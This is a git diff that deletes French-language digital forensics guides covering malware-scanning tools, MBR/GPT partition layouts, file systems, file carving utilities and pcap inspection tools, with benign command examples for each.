données de menaces provenant de systèmes de détection d'intrusion en bordure de réseau pour extraire les malwares qui sont activement utilisés dans des attaques et génère des signatures pour la détection. De plus, les données de menaces proviennent également des soumissions des utilisateurs avec la fonctionnalité de vérification LMD et des ressources de la communauté des malwares. - -### rkhunter - -Des outils comme [**rkhunter**](http://rkhunter.sourceforge.net) peuvent être utilisés pour vérifier le système de fichiers à la recherche de **rootkits** et de malwares. -```bash -sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] -``` -### FLOSS - -[**FLOSS**](https://github.com/mandiant/flare-floss) est un outil qui essaiera de trouver des chaînes obfusquées à l'intérieur des exécutables en utilisant différentes techniques. - -### PEpper - -[PEpper ](https://github.com/Th3Hurrican3/PEpper) vérifie certaines informations de base à l'intérieur de l'exécutable (données binaires, entropie, URLs et IPs, certaines règles yara). - -### PEstudio - -[PEstudio](https://www.winitor.com/download) est un outil qui permet d'obtenir des informations sur les exécutables Windows tels que les imports, exports, en-têtes, mais vérifiera également virus total et trouvera des techniques Att\&ck potentielles. - -### Detect It Easy(DiE) - -[**DiE**](https://github.com/horsicq/Detect-It-Easy/) est un outil pour détecter si un fichier est **chiffré** et également trouver des **packers**. - -### NeoPI - -[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI) est un script Python qui utilise une variété de **méthodes statistiques** pour détecter du contenu **obfusqué** et **chiffré** dans des fichiers texte/script. L'objectif de NeoPI est d'aider à la **détection de code de shell web caché**. - -### **php-malware-finder** - -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) fait de son mieux pour détecter du **code obfusqué**/**suspect** ainsi que des fichiers utilisant des fonctions **PHP** souvent utilisées dans des **malwares**/webshells. - -### Apple Binary Signatures - -Lors de la vérification d'un **échantillon de malware**, vous devez toujours **vérifier la signature** du binaire car le **développeur** qui l'a signé peut déjà être **lié** à des **malwares.** -```bash -#Get signer -codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" - -#Check if the app’s contents have been modified -codesign --verify --verbose /Applications/Safari.app - -#Check if the signature is valid -spctl --assess --verbose /Applications/Safari.app -``` -## Techniques de Détection - -### Empilement de Fichiers - -Si vous savez qu'un dossier contenant les **fichiers** d'un serveur web a été **dernièrement mis à jour à une certaine date**. **Vérifiez** la **date** à laquelle tous les **fichiers** du **serveur web ont été créés et modifiés** et si une date est **suspecte**, vérifiez ce fichier. - -### Lignes de Base - -Si les fichiers d'un dossier **n'auraient pas dû être modifiés**, vous pouvez calculer le **hash** des **fichiers originaux** du dossier et **les comparer** avec les **actuels**. Tout ce qui a été modifié sera **suspect**. - -### Analyse Statistique - -Lorsque l'information est enregistrée dans des journaux, vous pouvez **vérifier des statistiques comme le nombre de fois que chaque fichier d'un serveur web a été accédé, car un web shell pourrait en être un des plus**. - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md deleted file mode 100644 index 1bb3cdef5..000000000 --- a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ /dev/null @@ -1,37 +0,0 @@ -# Analyse de dump mémoire - -{{#include ../../../banners/hacktricks-training.md}} - -## Début - -Commencez à **chercher** des **malwares** à l'intérieur du pcap. Utilisez les **outils** mentionnés dans [**Analyse de Malware**](../malware-analysis.md). - -## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) - -**Volatility est le principal cadre open-source pour l'analyse de dump mémoire**. Cet outil Python analyse les dumps provenant de sources externes ou de VMs VMware, identifiant des données telles que les processus et les mots de passe en fonction du profil OS du dump. Il est extensible avec des plugins, ce qui le rend très polyvalent pour les enquêtes judiciaires. - -**[Trouvez ici une feuille de triche](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** - -## Rapport de plantage mini dump - -Lorsque le dump est petit (juste quelques Ko, peut-être quelques Mo), il s'agit probablement d'un rapport de plantage mini dump et non d'un dump mémoire. - -![](<../../../images/image (216).png>) - -Si vous avez Visual Studio installé, vous pouvez ouvrir ce fichier et lier quelques informations de base comme le nom du processus, l'architecture, les informations d'exception et les modules en cours d'exécution : - -![](<../../../images/image (217).png>) - -Vous pouvez également charger l'exception et voir les instructions décompilées - -![](<../../../images/image (219).png>) - -![](<../../../images/image (218) (1).png>) - -Quoi qu'il en soit, Visual Studio n'est pas le meilleur outil pour effectuer une analyse en profondeur du dump. - -Vous devriez **l'ouvrir** en utilisant **IDA** ou **Radare** pour l'inspecter en **profondeur**. - -​ - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md deleted file mode 100644 index bf5ece60a..000000000 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ /dev/null @@ -1,234 +0,0 @@ -# Partitions/Systèmes de fichiers/Carving - -{{#include ../../../banners/hacktricks-training.md}} - -## Partitions - -Un disque dur ou un **disque SSD peut contenir différentes partitions** dans le but de séparer physiquement les données.\ -L'unité **minimale** d'un disque est le **secteur** (normalement composé de 512B). Ainsi, chaque taille de partition doit être un multiple de cette taille. - -### MBR (master Boot Record) - -Il est alloué dans le **premier secteur du disque après les 446B du code de démarrage**. Ce secteur est essentiel pour indiquer à l'ordinateur ce qui doit être monté et d'où.\ -Il permet jusqu'à **4 partitions** (au maximum **juste 1** peut être active/**démarrable**). Cependant, si vous avez besoin de plus de partitions, vous pouvez utiliser des **partitions étendues**. Le **dernier octet** de ce premier secteur est la signature du boot record **0x55AA**. Une seule partition peut être marquée comme active.\ -Le MBR permet **max 2.2TB**. - -![](<../../../images/image (489).png>) - -![](<../../../images/image (490).png>) - -Des **octets 440 à 443** du MBR, vous pouvez trouver la **signature de disque Windows** (si Windows est utilisé). La lettre de lecteur logique du disque dur dépend de la signature de disque Windows. Changer cette signature pourrait empêcher Windows de démarrer (outil : [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. - -![](<../../../images/image (493).png>) - -**Format** - -| Décalage | Longueur | Élément | -| ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Code de démarrage | -| 446 (0x1BE) | 16 (0x10) | Première partition | -| 462 (0x1CE) | 16 (0x10) | Deuxième partition | -| 478 (0x1DE) | 16 (0x10) | Troisième partition | -| 494 (0x1EE) | 16 (0x10) | Quatrième partition | -| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA | - -**Format d'enregistrement de partition** - -| Décalage | Longueur | Élément | -| ----------- | ---------- | ---------------------------------------------------- | -| 0 (0x00) | 1 (0x01) | Drapeau actif (0x80 = démarrable) | -| 1 (0x01) | 1 (0x01) | Tête de départ | -| 2 (0x02) | 1 (0x01) | Secteur de départ (bits 0-5); bits supérieurs du cylindre (6-7) | -| 3 (0x03) | 1 (0x01) | Cylindre de départ 8 bits les plus bas | -| 4 (0x04) | 1 (0x01) | Code de type de partition (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | Tête de fin | -| 6 (0x06) | 1 (0x01) | Secteur de fin (bits 0-5); bits supérieurs du cylindre (6-7) | -| 7 (0x07) | 1 (0x01) | Cylindre de fin 8 bits les plus bas | -| 8 (0x08) | 4 (0x04) | Secteurs précédant la partition (little endian) | -| 12 (0x0C) | 4 (0x04) | Secteurs dans la partition | - -Pour monter un MBR sous Linux, vous devez d'abord obtenir le décalage de départ (vous pouvez utiliser `fdisk` et la commande `p`) - -![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) - -Et ensuite, utilisez le code suivant -```bash -#Mount MBR in Linux -mount -o ro,loop,offset= -#63x512 = 32256Bytes -mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ -``` -**LBA (Addressage de blocs logiques)** - -**L'adresse de blocs logiques** (**LBA**) est un schéma courant utilisé pour **spécifier l'emplacement des blocs** de données stockées sur des dispositifs de stockage informatique, généralement des systèmes de stockage secondaires tels que les disques durs. LBA est un schéma d'adressage linéaire particulièrement simple ; **les blocs sont localisés par un index entier**, le premier bloc étant LBA 0, le deuxième LBA 1, et ainsi de suite. - -### GPT (Table de partition GUID) - -La Table de partition GUID, connue sous le nom de GPT, est privilégiée pour ses capacités améliorées par rapport au MBR (Master Boot Record). Distinctive pour son **identifiant unique global** pour les partitions, GPT se distingue de plusieurs manières : - -- **Emplacement et taille** : À la fois GPT et MBR commencent au **secteur 0**. Cependant, GPT fonctionne sur **64 bits**, contrairement aux 32 bits de MBR. -- **Limites de partition** : GPT prend en charge jusqu'à **128 partitions** sur les systèmes Windows et peut accueillir jusqu'à **9,4ZB** de données. -- **Noms de partition** : Offre la possibilité de nommer les partitions avec jusqu'à 36 caractères Unicode. - -**Résilience et récupération des données** : - -- **Redondance** : Contrairement à MBR, GPT ne confine pas les données de partition et de démarrage à un seul endroit. Il réplique ces données sur le disque, améliorant ainsi l'intégrité et la résilience des données. -- **Contrôle de redondance cyclique (CRC)** : GPT utilise le CRC pour garantir l'intégrité des données. Il surveille activement la corruption des données, et lorsqu'elle est détectée, GPT tente de récupérer les données corrompues à partir d'un autre emplacement sur le disque. - -**MBR protecteur (LBA0)** : - -- GPT maintient la compatibilité descendante grâce à un MBR protecteur. Cette fonctionnalité réside dans l'espace MBR hérité mais est conçue pour empêcher les utilitaires basés sur MBR plus anciens d'écraser par erreur les disques GPT, protégeant ainsi l'intégrité des données sur les disques formatés GPT. - -![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (491).png>) - -**MBR hybride (LBA 0 + GPT)** - -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) - -Dans les systèmes d'exploitation qui prennent en charge le **démarrage basé sur GPT via les services BIOS** plutôt que EFI, le premier secteur peut également être utilisé pour stocker la première étape du code du **bootloader**, mais **modifié** pour reconnaître les **partitions GPT**. Le bootloader dans le MBR ne doit pas supposer une taille de secteur de 512 octets. - -**En-tête de table de partition (LBA 1)** - -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) - -L'en-tête de la table de partition définit les blocs utilisables sur le disque. Il définit également le nombre et la taille des entrées de partition qui composent la table de partition (offsets 80 et 84 dans la table). - -| Offset | Longueur | Contenu | -| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 octets | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ou 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)sur les machines little-endian) | -| 8 (0x08) | 4 octets | Révision 1.0 (00h 00h 01h 00h) pour UEFI 2.8 | -| 12 (0x0C) | 4 octets | Taille de l'en-tête en little endian (en octets, généralement 5Ch 00h 00h 00h ou 92 octets) | -| 16 (0x10) | 4 octets | [CRC32](https://en.wikipedia.org/wiki/CRC32) de l'en-tête (offset +0 jusqu'à la taille de l'en-tête) en little endian, avec ce champ mis à zéro pendant le calcul | -| 20 (0x14) | 4 octets | Réservé ; doit être zéro | -| 24 (0x18) | 8 octets | LBA actuel (emplacement de cette copie de l'en-tête) | -| 32 (0x20) | 8 octets | LBA de sauvegarde (emplacement de l'autre copie de l'en-tête) | -| 40 (0x28) | 8 octets | Premier LBA utilisable pour les partitions (dernier LBA de la table de partition principale + 1) | -| 48 (0x30) | 8 octets | Dernier LBA utilisable (premier LBA de la table de partition secondaire − 1) | -| 56 (0x38) | 16 octets | GUID du disque en endian mixte | -| 72 (0x48) | 8 octets | LBA de départ d'un tableau d'entrées de partition (toujours 2 dans la copie principale) | -| 80 (0x50) | 4 octets | Nombre d'entrées de partition dans le tableau | -| 84 (0x54) | 4 octets | Taille d'une seule entrée de partition (généralement 80h ou 128) | -| 88 (0x58) | 4 octets | CRC32 du tableau d'entrées de partition en little endian | -| 92 (0x5C) | \* | Réservé ; doit être des zéros pour le reste du bloc (420 octets pour une taille de secteur de 512 octets ; mais peut être plus avec des tailles de secteur plus grandes) | - -**Entrées de partition (LBA 2–33)** - -| Format d'entrée de partition GUID | | | -| --------------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | -| Offset | Longueur | Contenu | -| 0 (0x00) | 16 octets | [Type de partition GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (endian mixte) | -| 16 (0x10) | 16 octets | GUID de partition unique (endian mixte) | -| 32 (0x20) | 8 octets | Premier LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | -| 40 (0x28) | 8 octets | Dernier LBA (inclusif, généralement impair) | -| 48 (0x30) | 8 octets | Drapeaux d'attributs (par exemple, le bit 60 désigne lecture seule) | -| 56 (0x38) | 72 octets | Nom de la partition (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE unités de code) | - -**Types de partitions** - -![](<../../../images/image (492).png>) - -Plus de types de partitions sur [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) - -### Inspection - -Après avoir monté l'image d'analyse avec [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), vous pouvez inspecter le premier secteur à l'aide de l'outil Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Dans l'image suivante, un **MBR** a été détecté sur le **secteur 0** et interprété : - -![](<../../../images/image (494).png>) - -S'il s'agissait d'une **table GPT au lieu d'un MBR**, la signature _EFI PART_ devrait apparaître dans le **secteur 1** (qui dans l'image précédente est vide). - -## Systèmes de fichiers - -### Liste des systèmes de fichiers Windows - -- **FAT12/16** : MSDOS, WIN95/98/NT/200 -- **FAT32** : 95/2000/XP/2003/VISTA/7/8/10 -- **ExFAT** : 2008/2012/2016/VISTA/7/8/10 -- **NTFS** : XP/2003/2008/2012/VISTA/7/8/10 -- **ReFS** : 2012/2016 - -### FAT - -Le système de fichiers **FAT (Table d'allocation de fichiers)** est conçu autour de son composant principal, la table d'allocation de fichiers, positionnée au début du volume. Ce système protège les données en maintenant **deux copies** de la table, garantissant l'intégrité des données même si l'une est corrompue. La table, ainsi que le dossier racine, doit être dans un **emplacement fixe**, crucial pour le processus de démarrage du système. - -L'unité de stockage de base du système de fichiers est un **cluster, généralement 512B**, comprenant plusieurs secteurs. FAT a évolué à travers des versions : - -- **FAT12**, prenant en charge des adresses de cluster de 12 bits et gérant jusqu'à 4078 clusters (4084 avec UNIX). -- **FAT16**, améliorant à des adresses de 16 bits, permettant ainsi d'accueillir jusqu'à 65 517 clusters. -- **FAT32**, avançant encore avec des adresses de 32 bits, permettant un impressionnant 268 435 456 clusters par volume. - -Une limitation significative à travers les versions de FAT est la **taille maximale de fichier de 4 Go**, imposée par le champ de 32 bits utilisé pour le stockage de la taille des fichiers. - -Les composants clés du répertoire racine, en particulier pour FAT12 et FAT16, incluent : - -- **Nom de fichier/dossier** (jusqu'à 8 caractères) -- **Attributs** -- **Dates de création, de modification et du dernier accès** -- **Adresse de la table FAT** (indiquant le cluster de départ du fichier) -- **Taille du fichier** - -### EXT - -**Ext2** est le système de fichiers le plus courant pour les **partitions non journaling** (**partitions qui ne changent pas beaucoup**) comme la partition de démarrage. **Ext3/4** sont **journaling** et sont généralement utilisés pour le **reste des partitions**. - -## **Métadonnées** - -Certains fichiers contiennent des métadonnées. Ces informations concernent le contenu du fichier qui peuvent parfois être intéressantes pour un analyste car, selon le type de fichier, elles peuvent contenir des informations telles que : - -- Titre -- Version de MS Office utilisée -- Auteur -- Dates de création et de dernière modification -- Modèle de l'appareil photo -- Coordonnées GPS -- Informations sur l'image - -Vous pouvez utiliser des outils comme [**exiftool**](https://exiftool.org) et [**Metadiver**](https://www.easymetadata.com/metadiver-2/) pour obtenir les métadonnées d'un fichier. - -## **Récupération de fichiers supprimés** - -### Fichiers supprimés enregistrés - -Comme vu précédemment, il existe plusieurs endroits où le fichier est encore sauvegardé après avoir été "supprimé". Cela est dû au fait que, généralement, la suppression d'un fichier d'un système de fichiers ne fait que le marquer comme supprimé, mais les données ne sont pas touchées. Il est donc possible d'inspecter les registres des fichiers (comme le MFT) et de trouver les fichiers supprimés. - -De plus, le système d'exploitation enregistre généralement beaucoup d'informations sur les modifications du système de fichiers et les sauvegardes, il est donc possible d'essayer de les utiliser pour récupérer le fichier ou autant d'informations que possible. - -{{#ref}} -file-data-carving-recovery-tools.md -{{#endref}} - -### **Carving de fichiers** - -Le **file carving** est une technique qui tente de **trouver des fichiers dans la masse de données**. Il existe 3 principales manières dont des outils comme celui-ci fonctionnent : **Basé sur les en-têtes et pieds de page des types de fichiers**, basé sur les **structures** des types de fichiers et basé sur le **contenu** lui-même. - -Notez que cette technique **ne fonctionne pas pour récupérer des fichiers fragmentés**. Si un fichier **n'est pas stocké dans des secteurs contigus**, alors cette technique ne pourra pas le trouver ou au moins une partie de celui-ci. - -Il existe plusieurs outils que vous pouvez utiliser pour le file carving en indiquant les types de fichiers que vous souhaitez rechercher. - -{{#ref}} -file-data-carving-recovery-tools.md -{{#endref}} - -### Carving de flux de données **C** - -Le carving de flux de données est similaire au file carving mais **au lieu de rechercher des fichiers complets, il recherche des fragments intéressants** d'informations.\ -Par exemple, au lieu de rechercher un fichier complet contenant des URL enregistrées, cette technique recherchera des URL. - -{{#ref}} -file-data-carving-recovery-tools.md -{{#endref}} - -### Suppression sécurisée - -Évidemment, il existe des moyens de **"supprimer en toute sécurité" des fichiers et une partie des journaux les concernant**. Par exemple, il est possible de **réécrire le contenu** d'un fichier avec des données inutiles plusieurs fois, puis de **supprimer** les **journaux** du **$MFT** et **$LOGFILE** concernant le fichier, et de **supprimer les copies de l'ombre du volume**.\ -Vous pouvez remarquer qu'en effectuant cette action, il peut y avoir **d'autres parties où l'existence du fichier est toujours enregistrée**, et c'est vrai, et une partie du travail des professionnels de l'analyse judiciaire est de les trouver. - -## Références - -- [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) -- [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) -- [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html) -- [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) -- **iHackLabs Certified Digital Forensics Windows** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md deleted file mode 100644 index 51728370c..000000000 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ /dev/null @@ -1,87 +0,0 @@ -# File/Data Carving & Recovery Tools - -{{#include ../../../banners/hacktricks-training.md}} - -## Outils de Carving & de Récupération - -Plus d'outils sur [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) - -### Autopsy - -L'outil le plus couramment utilisé en criminalistique pour extraire des fichiers d'images est [**Autopsy**](https://www.autopsy.com/download/). Téléchargez-le, installez-le et faites-lui ingérer le fichier pour trouver des fichiers "cachés". Notez qu'Autopsy est conçu pour prendre en charge les images disque et d'autres types d'images, mais pas les fichiers simples. - -### Binwalk - -**Binwalk** est un outil pour analyser des fichiers binaires afin de trouver du contenu intégré. Il est installable via `apt` et sa source est sur [GitHub](https://github.com/ReFirmLabs/binwalk). - -**Commandes utiles**: -```bash -sudo apt install binwalk #Insllation -binwalk file #Displays the embedded data in the given file -binwalk -e file #Displays and extracts some files from the given file -binwalk --dd ".*" file #Displays and extracts all files from the given file -``` -### Foremost - -Un autre outil courant pour trouver des fichiers cachés est **foremost**. Vous pouvez trouver le fichier de configuration de foremost dans `/etc/foremost.conf`. Si vous souhaitez simplement rechercher des fichiers spécifiques, décommentez-les. Si vous ne décommentez rien, foremost recherchera ses types de fichiers configurés par défaut. -```bash -sudo apt-get install foremost -foremost -v -i file.img -o output -#Discovered files will appear inside the folder "output" -``` -### **Scalpel** - -**Scalpel** est un autre outil qui peut être utilisé pour trouver et extraire **des fichiers intégrés dans un fichier**. Dans ce cas, vous devrez décommenter dans le fichier de configuration (_/etc/scalpel/scalpel.conf_) les types de fichiers que vous souhaitez qu'il extraye. -```bash -sudo apt-get install scalpel -scalpel file.img -o output -``` -### Bulk Extractor - -Cet outil est inclus dans Kali, mais vous pouvez le trouver ici : [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -Cet outil peut analyser une image et **extraire des pcaps** à l'intérieur, **des informations réseau (URLs, domaines, IPs, MACs, mails)** et d'autres **fichiers**. Vous n'avez qu'à faire : -``` -bulk_extractor memory.img -o out_folder -``` -Naviguez à travers **toutes les informations** que l'outil a rassemblées (mots de passe ?), **analysez** les **paquets** (lisez[ **Analyse des Pcaps**](../pcap-inspection/index.html)), recherchez des **domaines étranges** (domaines liés à des **malwares** ou **inexistants**). - -### PhotoRec - -Vous pouvez le trouver sur [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) - -Il est disponible en versions GUI et CLI. Vous pouvez sélectionner les **types de fichiers** que vous souhaitez que PhotoRec recherche. - -![](<../../../images/image (524).png>) - -### binvis - -Vérifiez le [code](https://code.google.com/archive/p/binvis/) et la [page web de l'outil](https://binvis.io/#/). - -#### Fonctionnalités de BinVis - -- Visualiseur de **structure** visuel et actif -- Plusieurs graphiques pour différents points de focalisation -- Focalisation sur des portions d'un échantillon -- **Voir les chaînes et ressources**, dans des exécutables PE ou ELF par exemple -- Obtenir des **modèles** pour la cryptanalyse sur des fichiers -- **Repérer** des algorithmes de packer ou d'encodeur -- **Identifier** la stéganographie par des motifs -- **Différenciation** binaire visuelle - -BinVis est un excellent **point de départ pour se familiariser avec une cible inconnue** dans un scénario de black-boxing. - -## Outils de Data Carving spécifiques - -### FindAES - -Recherche des clés AES en cherchant leurs plannings de clés. Capable de trouver des clés de 128, 192 et 256 bits, telles que celles utilisées par TrueCrypt et BitLocker. - -Téléchargez [ici](https://sourceforge.net/projects/findaes/). - -## Outils complémentaires - -Vous pouvez utiliser [**viu** ](https://github.com/atanunq/viu) pour voir des images depuis le terminal.\ -Vous pouvez utiliser l'outil en ligne de commande linux **pdftotext** pour transformer un pdf en texte et le lire. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md deleted file mode 100644 index 5058b4aa9..000000000 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ /dev/null @@ -1,66 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -# Outils de carving - -## Autopsy - -L'outil le plus couramment utilisé en criminalistique pour extraire des fichiers d'images est [**Autopsy**](https://www.autopsy.com/download/). Téléchargez-le, installez-le et faites-lui ingérer le fichier pour trouver des fichiers "cachés". Notez qu'Autopsy est conçu pour prendre en charge les images disque et d'autres types d'images, mais pas les fichiers simples. - -## Binwalk - -**Binwalk** est un outil pour rechercher des fichiers binaires comme des images et des fichiers audio à la recherche de fichiers et de données intégrés. -Il peut être installé avec `apt`, cependant la [source](https://github.com/ReFirmLabs/binwalk) peut être trouvée sur github. -**Commandes utiles**: -```bash -sudo apt install binwalk #Insllation -binwalk file #Displays the embedded data in the given file -binwalk -e file #Displays and extracts some files from the given file -binwalk --dd ".*" file #Displays and extracts all files from the given file -``` -## Foremost - -Un autre outil courant pour trouver des fichiers cachés est **foremost**. Vous pouvez trouver le fichier de configuration de foremost dans `/etc/foremost.conf`. Si vous souhaitez simplement rechercher des fichiers spécifiques, décommentez-les. Si vous ne décommentez rien, foremost recherchera ses types de fichiers configurés par défaut. -```bash -sudo apt-get install foremost -foremost -v -i file.img -o output -#Discovered files will appear inside the folder "output" -``` -## **Scalpel** - -**Scalpel** est un autre outil qui peut être utilisé pour trouver et extraire **des fichiers intégrés dans un fichier**. Dans ce cas, vous devrez décommenter dans le fichier de configuration \(_/etc/scalpel/scalpel.conf_\) les types de fichiers que vous souhaitez extraire. -```bash -sudo apt-get install scalpel -scalpel file.img -o output -``` -## Bulk Extractor - -Cet outil est inclus dans Kali, mais vous pouvez le trouver ici : [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -Cet outil peut analyser une image et **extraire des pcaps** à l'intérieur, **des informations réseau (URLs, domaines, IPs, MACs, mails)** et plus **de fichiers**. Vous n'avez qu'à faire : -```text -bulk_extractor memory.img -o out_folder -``` -Naviguez à travers **toutes les informations** que l'outil a rassemblées \(mots de passe ?\), **analysez** les **paquets** \(lisez [ **Analyse des Pcaps**](../pcap-inspection/index.html)\), recherchez des **domaines étranges** \(domaines liés à **des logiciels malveillants** ou **inexistants**\). - -## PhotoRec - -Vous pouvez le trouver sur [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) - -Il est disponible en version GUI et CLI. Vous pouvez sélectionner les **types de fichiers** que vous souhaitez que PhotoRec recherche. - -![](../../../images/image%20%28524%29.png) - -# Outils de Carving de Données Spécifiques - -## FindAES - -Recherche des clés AES en cherchant leurs plannings de clés. Capable de trouver des clés de 128, 192 et 256 bits, telles que celles utilisées par TrueCrypt et BitLocker. - -Téléchargez [ici](https://sourceforge.net/projects/findaes/). - -# Outils Complémentaires - -Vous pouvez utiliser [**viu** ](https://github.com/atanunq/viu) pour voir des images depuis le terminal. -Vous pouvez utiliser l'outil en ligne de commande linux **pdftotext** pour transformer un pdf en texte et le lire. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md deleted file mode 100644 index 50df58f7c..000000000 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ /dev/null @@ -1,212 +0,0 @@ -# Inspection de Pcap - -{{#include ../../../banners/hacktricks-training.md}} - -> [!NOTE] -> Une note sur **PCAP** vs **PCAPNG** : il existe deux versions du format de fichier PCAP ; **PCAPNG est plus récent et n'est pas pris en charge par tous les outils**. Vous devrez peut-être convertir un fichier de PCAPNG en PCAP en utilisant Wireshark ou un autre outil compatible, afin de pouvoir travailler avec dans certains autres outils. - -## Outils en ligne pour les pcaps - -- Si l'en-tête de votre pcap est **cassé**, vous devriez essayer de le **réparer** en utilisant : [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -- Extraire des **informations** et rechercher des **malwares** à l'intérieur d'un pcap dans [**PacketTotal**](https://packettotal.com) -- Rechercher une **activité malveillante** en utilisant [**www.virustotal.com**](https://www.virustotal.com) et [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) - -## Extraire des informations - -Les outils suivants sont utiles pour extraire des statistiques, des fichiers, etc. - -### Wireshark - -> [!NOTE] -> **Si vous allez analyser un PCAP, vous devez essentiellement savoir comment utiliser Wireshark** - -Vous pouvez trouver quelques astuces Wireshark dans : - -{{#ref}} -wireshark-tricks.md -{{#endref}} - -### Xplico Framework - -[**Xplico** ](https://github.com/xplico/xplico)_(uniquement linux)_ peut **analyser** un **pcap** et extraire des informations à partir de celui-ci. Par exemple, à partir d'un fichier pcap, Xplico extrait chaque e-mail (protocoles POP, IMAP et SMTP), tout le contenu HTTP, chaque appel VoIP (SIP), FTP, TFTP, et ainsi de suite. - -**Installer** -```bash -sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' -sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE -sudo apt-get update -sudo apt-get install xplico -``` -**Exécuter** -``` -/etc/init.d/apache2 restart -/etc/init.d/xplico start -``` -Accédez à _**127.0.0.1:9876**_ avec les identifiants _**xplico:xplico**_ - -Ensuite, créez un **nouveau cas**, créez une **nouvelle session** à l'intérieur du cas et **téléchargez le fichier pcap**. - -### NetworkMiner - -Comme Xplico, c'est un outil pour **analyser et extraire des objets des pcaps**. Il a une édition gratuite que vous pouvez **télécharger** [**ici**](https://www.netresec.com/?page=NetworkMiner). Il fonctionne sous **Windows**.\ -Cet outil est également utile pour obtenir **d'autres informations analysées** à partir des paquets afin de pouvoir savoir ce qui se passait de manière **plus rapide**. - -### NetWitness Investigator - -Vous pouvez télécharger [**NetWitness Investigator depuis ici**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Il fonctionne sous Windows)**.\ -C'est un autre outil utile qui **analyse les paquets** et trie les informations de manière utile pour **savoir ce qui se passe à l'intérieur**. - -### [BruteShark](https://github.com/odedshimon/BruteShark) - -- Extraction et encodage des noms d'utilisateur et des mots de passe (HTTP, FTP, Telnet, IMAP, SMTP...) -- Extraire les hachages d'authentification et les craquer en utilisant Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -- Construire un diagramme de réseau visuel (Nœuds et utilisateurs du réseau) -- Extraire les requêtes DNS -- Reconstruire toutes les sessions TCP et UDP -- File Carving - -### Capinfos -``` -capinfos capture.pcap -``` -### Ngrep - -Si vous **cherchez** **quelque chose** à l'intérieur du 